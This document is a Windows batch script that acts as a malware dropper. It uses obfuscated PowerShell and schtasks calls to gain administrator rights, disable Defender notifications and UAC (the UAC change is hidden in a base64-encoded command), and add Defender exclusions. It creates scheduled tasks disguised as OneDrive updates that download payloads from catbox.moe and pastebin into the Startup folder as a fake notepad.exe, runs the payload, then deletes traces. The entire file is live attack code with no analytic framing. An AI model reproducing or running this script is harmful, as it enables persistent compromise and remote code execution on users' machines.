@echo OFF
mode con cols=15 lines=1
p""oWE""rsHel""l.exe -NoP -NonI -W Hidden -Exec Bypass IEX 

call :Admin

:Admin
reg query "HKU\S-1-5-19\Environment" >nul 2>&1
if not %errorlevel% EQU 0 (
    cls
    p""oWE""rs""Hel""l.exe -windowstyle hidden -Noprofile "Start-Process '%~dpnx0' -Verb RunAs"
    exit
)

timeout 2

Re""g add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_dword /d 1 /f

sc""htasks /create /tn MicrosoftOneDriveUpdateTaskMachineCore{89AB9D7A-5B38-4749-2321-B3D603CA6176} /tr "Powershell -command invoke-WebRequest https://pastebin.ai/raw/z8a7fhcexl -outfile %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\OneDriveApiUpReDown.cmd" /sc weekly /d MON /f /ru System
sc""htasks /create /tn MicrosoftOneDriveUpdateTaskMachineUA{2304EC8E-08E9-4F74-8F05-B5D93B00138X} /tr "Powershell -command invoke-WebRequest https://files.catbox.moe/31470x.dat -outfile %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\notepad.exe" /ru System /SC ONLOGON /DELAY 0000:59 /f 
sc""htasks /create /tn OneDriveApiUpAdd /tr "Powershell -command Add-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup" /ru System /SC ONLOGON /DELAY 0000:45 /f

p""oWE""rsHel""l.exe -Command Add-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup

p""oWE""rsHel""l.exe -Command Invoke-WebRequest https://files.catbox.moe/31470x.dat -Outfile %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\notepad.exe

t""a""sK""Kill /IM "AddInUtil.exe" /F
t""a""sK""Kill /IM "aspnet_compiler.exe" /F
t""a""sK""Kill /IM "MSBuild.exe" /F
t""a""sK""Kill /IM "RegAsm.exe" /F
t""a""sK""Kill /IM "AddInProcess.exe" /F
t""a""sK""Kill /IM "RegSvcs.exe" /F

p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming\
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Local\Temp
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Local\Temp\
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath c:
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath c:\

p""oWE""rsHel""l.exe -exEc bypass -enc cgBlAGcALgBlAHgAZQAgAEEARABEACAASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALwB2ACAARQBuAGEAYgBsAGUATABVAEEAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYADQAKAA==

c:
cd\
cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
notepad.exe
timeout 3
del *.cmd /f /q

exit
exit
::https://files.catbox.moe/38y56s.dat